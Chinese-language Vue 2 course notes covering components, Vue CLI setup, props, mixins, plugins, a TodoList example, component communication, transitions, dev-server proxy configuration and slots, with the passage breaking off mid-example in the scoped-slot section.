<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>VueComponent</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
关于VueComponent:
	1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。

	2.我们只需要写<school/>或<school></school>,Vue解析时会帮我们创建school组件的实例对象,
		即Vue帮我们执行的:new VueComponent(options)。

	3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!

	4.关于this指向:
		(1).组件配置中:
					data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
		(2).new Vue(options)配置中:
					data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。

	5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
		Vue的实例对象,以后简称vm。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})

		const test = Vue.extend({
			template:`<span>atguigu</span>`
		})

		//定义hello组件
		const hello = Vue.extend({
			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊!'
				}
			},
			components:{test}
		})


		// console.log('@',school)
		// console.log('#',hello)

		//创建vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}
		})
	</script>
</html>

5.一个重要的内置关系.html

<!-- 
	1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
	2.为什么要有这个关系?:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
-->

原理图:

image-20211002140553746

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>一个重要的内置关系</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
<!-- 
	1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
	2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
-->
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
		Vue.prototype.x = 99

		//定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showX(){
					console.log(this.x)
				}
			},
		})

		//创建一个vm
		const vm = new Vue({
			el:'#root',
			data:{
				msg:'你好'
			},
			components:{school}
		})

		
		//定义一个构造函数
		/* function Demo(){
			this.a = 1
			this.b = 2
		}
		//创建一个Demo的实例对象
		const d = new Demo()

		console.log(Demo.prototype) //显示原型属性==>(构造函数.prototype)

		console.log(d.__proto__) //隐式原型属性==>(对象.__proto__)

		console.log(Demo.prototype === d.__proto__)

		//程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
		Demo.prototype.x = 99

		console.log('@',d) */

	</script>
</html>

组件缩写:

image-20211005132034848

image-20211005132003465

image-20220312174502541

单文件组件 vue 文件的组成(3 个部分)

命名方式:xxx.vue

单个单词:  school.vue 或 School.vue
多个单词;	my-school.vue 或 MySchool.vue
  1. 模板页面

    <template>
    	页面模板
    </template>
    
  2. js模块对象

    <script>
    export default {
    	data() {return {}},
    	methods: {},
    	computed: {},
    	components: {}
    }
    </script>
    
  3. 样式

    <style>
    	样式定义
    </style>
    

image-20211005144044354

三、使用Vue脚手架

3.1 初始化脚手架

3.1.1

说明

  1. Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)。

  2. 最新的版本是 4.x。

  3. 文档: https://cli.vuejs.org/zh/。

3.1.2 具体步骤

第一步(仅第一次执行):全局安装@vue/cli。

npm install -g @vue/cli

第二步:切换到你要创建项目的目录,然后使用命令创建项目

vue create xxxx

第三步:启动项目

npm run serve

备注:

  1. 如出现下载缓慢请配置 npm 淘宝镜像:

    npm config set registry  https://registry.npm.taobao.org
    
  2. Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,

请执行:vue inspect > output.js

3.1.3

模板项目的结构

image-20211005163909967

├── node_modules 
├── public 
	│ ├── favicon.ico: 页签图标 
	│ └── index.html: 主页面 
├── src 
	│ ├── assets: 存放静态资源 
		│ │ └── logo.png 
	│ │── component: 存放组件 
		│ │ └── HelloWorld.vue 
	│ │── App.vue: 汇总所有组件 
	│ │── main.js: 入口文件 
├── .gitignore: git 版本管制忽略的配置 
├── babel.config.js: babel 的配置文件 
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件 
├── package-lock.json:包版本控制文件

index.html

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
		<!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
		<!-- 开启移动端的理想视口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
		<!-- 配置页签图标 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
		<!-- 引入第三方样式 -->
		<link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
		<!-- 配置网页标题 -->
    <title>硅谷系统</title>
  </head>
  <body>
		<!-- 当浏览器不支持js时noscript中的元素就会被渲染 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
		<!-- 容器 -->
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

main.js

image-20211005164414420

关于不同版本的Vue

  1. vue.js与vue.runtime.xxx.js的区别:
    1. vue.js是完整版的Vue,包含:核心功能 + 模板解析器。
    2. vue.runtime.xxx.js是运行版的Vue,只包含:核心功能;没有模板解析器。
  2. 因为vue.runtime.xxx.js没有模板解析器,所以不能使用template这个配置项,需要使用render函数接收到的createElement函数去指定具体内容。

render方法的作用与使用

new Vue({
  // render方法的作用:当项目引入非完整版的vue.js(缺少模板解析器)时,
  // render方法可以解析main.js文件中的<template>标签,vue框架默认使用vue.runtime.esm.js(非完整版)
    
  // template:`<App>` 和  components:{App},
  //等价于
  // render(createElement) {
  //   return createElement(App)
  // }

  //render方法缩写
  render: h => h(App),
  
}).$mount('#app')


注意:使用render方法后,就不需要显式地在main.js注册App组件,render方法已经帮我们隐式注册了

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//关闭Vue的生产提示
Vue.config.productionTip = false

//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
    
    //这里不需要显式地注册App组件了
    //component:{App}
})

vue.config.js配置文件

  1. 使用vue inspect > output.js可以查看到Vue脚手架的默认配置。
  2. 使用vue.config.js可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh

ref属性

  1. 被用来给元素或子组件注册引用信息(id的替代者
  2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
  3. 使用方式:
    1. 打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    2. 获取:this.$refs.xxx

image-20211005215159253

props配置项

  1. 功能:让组件接收外部传过来的数据

  2. 传递数据:<Demo name="xxx"/>

  3. 接收数据:

    1. 第一种方式(只接收):props:['name']

    2. 第二种方式(限制类型):props:{name:String}

    3. 第三种方式(限制类型、限制必要性、指定默认值):

      props:{
      	name:{
      	type:String, //类型
      	required:true, //必要性
      	default:'老王' //默认值
      	}
      }
      

    备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

student.vue

<template>
	<div>
		<h1>{{msg}}</h1>
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<h2>学生年龄:{{myAge+1}}</h2>
		<button @click="updateAge">尝试修改收到的年龄</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			console.log(this)
			return {
				msg:'我是一个尚硅谷的学生',
				myAge:this.age
			}
		},
		methods: {
			updateAge(){
				this.myAge++
			}
		},
		//简单声明接收
		// props:['name','age','sex'] 

		//接收的同时对数据进行类型限制
		/* props:{
			name:String,
			age:Number,
			sex:String
		} */

		//接收的同时对数据:进行类型限制+默认值的指定+必要性的限制
		props:{
			name:{
				type:String, //name的类型是字符串
				required:true, //name是必要的
			},
			age:{
				type:Number,
				default:99 //默认值
			},
			sex:{
				type:String,
				required:true
			}
		}
	}
</script>

App.vue

<template>
  <div id="app">
      <!--  将参数name、sex、age 传给Student组件 -->
      <!--  注意:参数的类型默认是字符串,如果想改变参数的类型,请用动态绑定;例如v-bind:age="18",此时的18不是字符串类型,而是一种表达式,显然,这里的age表达式是number类型的18 -->
      <Student name="李四" sex="女" :age="18"></Student>
  </div>
</template>

<script>
import Student from './components/Student.vue'
export default {
  name: 'App',
  components: {
    Student:Student
  }
}
</script>

image-20211005233129490

mixin(混入)

  1. 功能:可以把多个组件共用的配置提取成一个混入对象

  2. 使用方式:

    第一步定义混合:

    {
        data(){....},
        methods:{....}
        ....
    }
    

    第二步使用混入:

    ​ 全局混入:Vue.mixin(xxx)
    ​ 局部混入:mixins:['xxx']

image-20211006003857375

mixin.js

export const hunhe = {
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊!')
	},
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	},
}

School.vue

<template>
	<div>
		<h2 @click="showName">学校名称:{{name}}</h2>
		<h2>学校地址:{{address}}</h2>
	</div>
</template>

<script>
	//引入一个hunhe
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
				x:666
			}
		},
		// mixins:[hunhe,hunhe2],
	}
</script>

Student.vue

<template>
	<div>
		<h2 @click="showName">学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
	</div>
</template>

<script>
	// import {hunhe,hunhe2} from '../mixin'

	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男'
			}
		},
		// mixins:[hunhe,hunhe2]
	}
</script>

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
import {hunhe,hunhe2} from './mixin'
//关闭Vue的生产提示
Vue.config.productionTip = false

//全局引入mixin
Vue.mixin(hunhe)
Vue.mixin(hunhe2)


//创建vm
new Vue({
	el:'#app',
	render: h => h(App)
})

插件

  1. 功能:用于增强Vue

  2. 本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

  3. 定义插件:

    对象.install = function (Vue, options) {
        // 1. 添加全局过滤器
        Vue.filter(....)
    
        // 2. 添加全局指令
        Vue.directive(....)
    
        // 3. 配置全局混入(合)
        Vue.mixin(....)
    
        // 4. 添加实例方法
        Vue.prototype.$myMethod = function () {...}
        Vue.prototype.$myProperty = xxxx
    }
    
  4. 使用插件:Vue.use()

image-20211006105245419

plugin.js

export default {
    install(Vue, x, y, z) {
        console.log(x, y, z)
        //全局过滤器
        Vue.filter('mySlice', function (value) {
            return value.slice(0, 4)
        })

        //定义全局指令
        Vue.directive('fbind', {
            //指令与元素成功绑定时(一上来)
            bind(element, binding) {
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted(element) {
                element.focus()
            },
            //指令所在的模板被重新解析时
            update(element, binding) {
                element.value = binding.value
            }
        })

        //定义混入
        Vue.mixin({
            data() {
                return {
                    x: 100,
                    y: 200
                }
            },
        })

        //给Vue原型上添加一个方法(vm和vc就都能用了)
        Vue.prototype.hello = () => { alert('你好啊') }
    }
}

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import plugins from './plugins'
//关闭Vue的生产提示
Vue.config.productionTip = false

//应用(使用)插件
Vue.use(plugins, 1, 2, 3)
//创建vm
new Vue({
  el: '#app',
  render: h => h(App)
})

scoped样式

  1. 作用:让样式在局部生效,防止冲突。
  2. 写法:<style scoped>

例如:

<style scoped>
    .hello{
      background-color: aquamarine;
    }
</style>
/* 原理,会在标签属性中添加一个唯一标识,即使某个组件中的元素的class属性和其他组件的class属性相同时,也能保证每个组件的元素都不一样 */

image-20220313150319029

在组件的style标签中,也能加less属性,但是要装less-loader解析器

<style lang="less" scoped>
    .hello{
      background-color: aquamarine;
    }
</style>

npm view webpack versions查看webpack有多少种版本

image-20211006114002888

npm view less-loader versions查看less-loader有多少种版本

image-20211006114124833

npm i less-loader version@7安装less-loader的7版本

image-20211006114611901

image-20211006162101520

TodoList案例

1. 目标功能界面

20210131231841754

2. 界面模块拆分

20210131232330649

image-20211007163917616

3. 主页 index.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>vue_demo</title>
  </head>
  <body>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

4. 静态页面搭建

4.1 main.js

  • 引入基础css样式

    import Vue from 'vue';
    import App from './App.vue';
    import './base.css';
    
    new Vue({
        el: '#app',
        components: { App },
        template: '<App/>'
    })
    
    

4.2 App.vue

<template>
  <div class="todo-container">
    <div class="todo-wrap">

      <TodoHeader />
      <TodoList />
      <TodoFooter />

    </div>
  </div>
</template>

<script>
  import TodoHeader from './components/TodoHeader';
  import TodoList from './components/TodoList';
  import TodoFooter from './components/TodoFooter';

  export default {
    components:{
      TodoHeader,
      TodoList,
      TodoFooter
    }
  }
</script>

<style>
/*app*/
.todo-container {
  width: 600px;
  margin: 0 auto;
}
.todo-container .todo-wrap {
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 5px;
}
</style>

4.3 TodoHeader.vue

<template>
  <div class="todo-header">
    <input type="text" placeholder="请输入你的任务名称,按回车键确认"/>
  </div>
</template>

<script>
export default {

}
</script>

<style>
/*header*/
.todo-header input {
  width: 560px;
  height: 28px;
  font-size: 14px;
  border: 1px solid #ccc;
  border-radius: 4px;
  padding: 4px 7px;
}

.todo-header input:focus {
  outline: none;
  border-color: rgba(82, 168, 236, 0.8);
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
}

</style>

4.4 TodoList.vue

<template>
  <ul class="todo-main">
    <li>
      <label>
        <input type="checkbox"/>
        <span>xxxxx</span>
      </label>
      <button class="btn btn-danger" style="display:none">删除</button>
    </li>
    <li>
      <label>
        <input type="checkbox"/>
        <span>yyyyy</span>
      </label>
      <button class="btn btn-danger" style="display:none">删除</button>
    </li>
  </ul>
</template>

<script>
export default {

}
</script>


<style>
/*main*/
.todo-main {
  margin-left: 0px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding: 0px;
}

.todo-empty {
  height: 40px;
  line-height: 40px;
  border: 1px solid #ddd;
  border-radius: 2px;
  padding-left: 5px;
  margin-top: 10px;
}

/*item*/
li {
  list-style: none;
  height: 36px;
  line-height: 36px;
  padding: 0 5px;
  border-bottom: 1px solid #ddd;
}

li label {
  float: left;
  cursor: pointer;
}

li label li input {
  vertical-align: middle;
  margin-right: 6px;
  position: relative;
  top: -1px;
}

li button {
  float: right;
  display: none;
  margin-top: 3px;
}

li:before {
  content: initial;
}

li:last-child {
  border-bottom: none;
}
</style>

4.5 TodoFooter.vue

<template>
        <div class="todo-footer">
        <label>
          <input type="checkbox"/>
        </label>
        <span>
          <span>已完成0</span> / 全部2
        </span>
        <button class="btn btn-danger">清除已完成任务</button>
      </div>
</template>

<script>
export default {

}
</script>

<style>
/*footer*/
.todo-footer {
  height: 40px;
  line-height: 40px;
  padding-left: 6px;
  margin-top: 5px;
}

.todo-footer label {
  display: inline-block;
  margin-right: 20px;
  cursor: pointer;
}

.todo-footer label input {
  position: relative;
  top: -1px;
  vertical-align: middle;
  margin-right: 5px;
}

.todo-footer button {
  float: right;
  margin-top: 5px;
}

</style>

4.6 展示

image-20211007164214333

5. 动态组件

5.1 动态显示初始化数据

App.vue

定义数据:数组 todos {title, complete}

<template>
  <div class="todo-container">
    <div class="todo-wrap">

      <TodoHeader />
      <TodoList :todos="todos" />
      <TodoFooter />

    </div>
  </div>
</template>

<script>
  import TodoHeader from './components/TodoHeader';
  import TodoList from './components/TodoList';
  import TodoFooter from './components/TodoFooter';

  export default {
    data(){
      return{
        todos: [
          { title: '吃饭', complete: true },
          { title: '睡觉', complete: false },
          { title: '敲代码', complete: true }
        ]
      }
    },
    components:{
      TodoHeader,
      TodoList,
      TodoFooter
    }
  }
</script>

TodoList.vue

接收数据,v-for遍历数组

<template>
  <ul class="todo-main">
    <TodoItem v-for="(todo, index) in todos" :key="index" :todo="todo"/>
  </ul>
</template>

<script>
import TodoItem from './TodoItem';
export default {
  props: {
    todos: Array
  },
  components:{
    TodoItem
  }
}
</script>

TodoItem.vue

得到数据,双向绑定

<template>
  <li>
    <label>
      <input type="checkbox" v-model="todo.complete" />
      <span>{{todo.title}}</span>
    </label>
    <button class="btn btn-danger" style="display:none">删除</button>
  </li>
</template>

<script>
export default {
  props:{
    todo: Object,
  }
}
</script>

展示

image-20211007164329445

5.2 动态交互——首部添加操作

App.vue

定义添加addTodo函数

<template>
  <TodoHeader :addTodo="addTodo" />
</template>

<script>
  export default {
    methods:{
      addTodo(todo){
        this.todos.unshift(todo);
      }
    },
  }
</script>

TodoHeader.vue

v-model双向绑定数据
定义add鼠标点击事件函数

  1. 检查输入合法性
  2. 根据输入生成一个todo对象
  3. 添加到todos
  4. 清除输入
<template>
  <div class="todo-header">
    <input type="text" placeholder="请输入你的任务名称,按回车键确认" v-model="title" @keyup.enter="add"/>
  </div>
</template>

<script>
export default {
  props:{
    addTodo: Function
  },
  data(){
    return {
      title: '',
    }

  },
  methods:{
    add(){
      // 1. 检查输入合法性
      const title = this.title.trim();
      if(!title){
        alert("请输入内容");
        return;
      }
      // 2. 根据输入生成一个todo对象
      const todo = {title, complete:false};
      // 3. 添加到todos
      this.addTodo(todo);
      // 4. 清除输入
      this.title = '';
    }
  }
}
</script>

5.3 动态交互——中间删除操作+选中变色

选中变色 鼠标移动事件处理 改变背景颜色,图标显示隐藏
删除元素操作

App.vue

deleteTodo 删除数组中指定元素

<template>
	<TodoList :todos="todos" :deleteTodo="deleteTodo" />
</template>

<script>
  export default {
    methods:{
      deleteTodo(index){
        this.todos.splice(index, 1);
      }
    },
  }
</script>

TodoList.vue

传递标签,删除函数

<template>
  <ul class="todo-main">
    <TodoItem v-for="(todo, index) in todos" :key="index" :todo="todo" :index="index" :deleteTodo="deleteTodo" />
  </ul>
</template>

<script>
import TodoItem from './TodoItem';
export default {
  props: {
    todos: Array,
    deleteTodo: Function
  },
  components:{
    TodoItem
  }
}
</script>

TodoItem.vue

鼠标移动事件 函数操作背景颜色改变、图标显示隐藏
删除按钮点击事件 函数

<template>
  <li @mouseenter="handleEnter(true)" @mouseleave="handleEnter(false)" :style="{background: bgColor}">
    <label>
      <input type="checkbox" v-model="todo.complete" />
      <span>{{todo.title}}</span>
    </label>
    <button class="btn btn-danger" v-show="isShow" @click="deleteItem">删除</button>
  </li>
</template>

<script>
  export default {
    props:{
      todo: Object,
      index: Number,
      deleteTodo: Function
    },
    data(){
      return {
        bgColor: 'white',
        isShow: false
      }
    },
    methods: {
      handleEnter(isEnter){
        if(isEnter){
          this.bgColor='#aaa';
          this.isShow = true;
        }else{
          this.bgColor='white';
          this.isShow = false; 
        }
      },
      deleteItem(){
        const {todo, index, deleteTodo} = this;
        if(window.confirm(`确定删除"${todo.title}"吗`)){
          deleteTodo(index);
        }
      },
    }
  }
</script>

5.4 动态交互——底部全选 + 删除操作(重难点)

App.vue

<template>
	<TodoFooter :todos="todos" :deleteCompleteTodos="deleteCompleteTodos" :selectAllTodos="selectAllTodos"/>
</template>

<script>
  export default {
    methods:{
      addTodo(todo){
        this.todos.unshift(todo);
      },
      deleteTodo(index){
        this.todos.splice(index, 1);
      },
      deleteCompleteTodos(){
        this.todos = this.todos.filter(todo => !todo.complete);
      },
      selectAllTodos(check){
        this.todos.forEach(todo => todo.complete = check);
      }
    },
  }
</script>

TodoFooter.vue

熟练使用计算属性

<template>
  <div class="todo-footer">
    <label>
      <input type="checkbox" v-model="isAllCheck" />
    </label>
    <span> 
      <span>已完成{{ completeSize }}</span> / 全部{{ todos.length }} 
    </span>
    <button class="btn btn-danger" v-show="completeSize" @click="deleteCompleteTodos">清除已完成任务</button>
  </div>
</template>

<script>
export default {
  props: {
    todos: Array,
    deleteCompleteTodos: Function,
    selectAllTodos: Function,
  },
  computed: {
    completeSize() {
      return this.todos.reduce((preTotal, todo) => preTotal + (todo.complete?1:0), 0); 
    },
    isAllCheck: {
      get(){
        return this.completeSize===this.todos.length && this.completeSize>0
      },
      set(value){
        this.selectAllTodos(value);
      }
    }
  },
  methods: {
    deleteAll() {},
  },
};
</script>

总结TodoList案例

  1. 组件化编码流程:

    ​ (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

    ​ (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

    ​ 1).一个组件在用:放在组件自身即可。

    ​ 2). 一些组件在用:放在他们共同的父组件上(状态提升)。

    ​ (3).实现交互:从绑定事件开始。

  2. props适用于:

    ​ (1).父组件 ==> 子组件 通信

    ​ (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

  3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

  4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

webStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

  3. 相关API:

    1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

    2. xxxxxStorage.getItem('person');

      ​ 该方法接受一个键名作为参数,返回键名对应的值。

    3. xxxxxStorage.removeItem('key');

      ​ 该方法接受一个键名作为参数,并把该键名从存储中删除。

    4. xxxxxStorage.clear()

      ​ 该方法会清空存储中的所有数据。

  4. 备注:

    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失。
    3. xxxxxStorage.getItem(xxx)如果xxx对应的value获取不到,那么getItem的返回值是null。
    4. JSON.parse(null)的结果依然是null。

子组件传递数据给父组件:

1、通过父组件给子组件传递函数类型的props实现:子给父传递数据

image-20211007124012867

2、通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第一种写法,使用@或v-on)

image-20211007124637736

3、通过父组件给子组件绑定一个自定义事件实现:子给父传递数据(第二种写法,使用ref)

image-20211007125334759

组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

    子组件给父组件传递消息(方法1:父组件个子组件传递一个函数,然后子组件接受这个函数并调用;方法2:绑定自定义事件,其中绑定自定义事件又有两种方式)

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)   //给子组件绑定自定义事件
      }
      
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

      image-20211007172907706

​ 在父组件中给子组件绑定自定义事件: image-20220316083307082

  1. 触发自定义事件:this.$emit('atguigu',数据)

  2. 解绑自定义事件this.$off('atguigu')

  3. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

    image-20211007173002050

  4. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中要么用箭头函数,否则this指向会出问题!

全局事件总线(GlobalEventBus)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
    	},
        ......
    }) 
    
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
      
    2. 提供数据:B组件提供数据,this.$bus.$emit('xxxx',数据)

      methods: {
      			sendStudentName(){
      				this.$bus.$emit('hello',this.name)
      			}
      		},
      
  4. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。

image-20211007180643318

消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 使用步骤:

    1. 安装pubsub(第三方包):npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
      }
      
    4. 提供数据:pubsub.publish('xxx',数据)

    5. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(pid)取消订阅。

      		mounted() {
      			// console.log('School',this)
      			/* this.$bus.$on('hello',(data)=>{
      				console.log('我是School组件,收到了数据',data)
      			}) */
      			this.pubId = pubsub.subscribe('hello',(msgName,data)=>{
      				console.log(this)
      				// console.log('有人发布了hello消息,hello消息的回调执行了',msgName,data)
      			})
      		},
      		beforeDestroy() {
      			// this.$bus.$off('hello')
      			pubsub.unsubscribe(this.pubId)
      		},
      

nextTick

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

image-20220319111106190

Vue封装的过度与动画

  1. 作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。
  2. 图示:

image-20220319130054917

  1. 写法:

    1. 准备好样式:

      • 元素进入的样式:
        1. v-enter:进入的起点
        2. v-enter-active:进入过程中
        3. v-enter-to:进入的终点
      • 元素离开的样式:
        1. v-leave:离开的起点
        2. v-leave-active:离开过程中
        3. v-leave-to:离开的终点
    2. 使用<transition>包裹要过度的元素,并配置name属性:

      <transition name="hello">
      	<h1 v-show="isShow">你好啊!</h1>
      </transition>
      
    3. 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

    利用动画标签animation实现动画过渡

    image-20220319121316428

    image-20220319121652866

    利用v-leave、v-leave-active、v-leave-to:实现动画过渡

    image-20220319123323626

    transition-group可以包含多个标签,但是要给每个标签加key属性

image-20220319124231270

安装第三方样式库:

npm install animate.css --save

引入并使用

image-20220319125626653

网站:https://animate.style/

image-20220319125727307

vue脚手架配置代理

方法一

​ 在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"  //这里的地址是服务器地址
}

image-20220319174532722

说明:

  1. 优点:配置简单,请求资源时直接发给前端(http://localhost:8080)即可,不用做额外的配置,下面的方法二需要做额外的配置。
  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理。
  3. 工作方式:若按照上述配置代理,首先在本地资源路径下找,没有找到再请求代理服务器 (优先匹配前端资源)

方法二

​ 编写vue.config.js配置具体代理规则:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,				// 伪装真实的host(例如:localhost:8080---->localhost:5000)
        pathRewrite: {'^/api1': ''}   //重写请求路径,例如:请求地址:http://localhost:8080/api1/student,则服务器收到的地址为:http://localhost://5000/student,没有了前缀api1
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

插槽

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件

  2. 分类:默认插槽、具名插槽、作用域插槽

  3. 使用方式:

    1. 默认插槽:

      父组件中:
              <Category>
                 <div>html结构1</div>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot>插槽默认内容...</slot>
                  </div>
              </template>
      
    2. 具名插槽:

      父组件中:
              <Category>
                  <template slot="center">
                    <div>html结构1</div>
                  </template>
      
                  <template v-slot:footer>
                     <div>html结构2</div>
                  </template>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot name="center">插槽默认内容...</slot>
                     <slot name="footer">插槽默认内容...</slot>
                  </div>
              </template>
      
    3. 作用域插槽:

      1. 理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

      2. 具体编码:

        父组件中:
        		<Category>
        			<template scope="scopeData">
        				<!-- 生成的是ul列表 -->
        				<ul>
        					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
        				</ul>
        			</template>
        		</Category>
        
        		<Category>
        			<template slot-scope="scopeData">
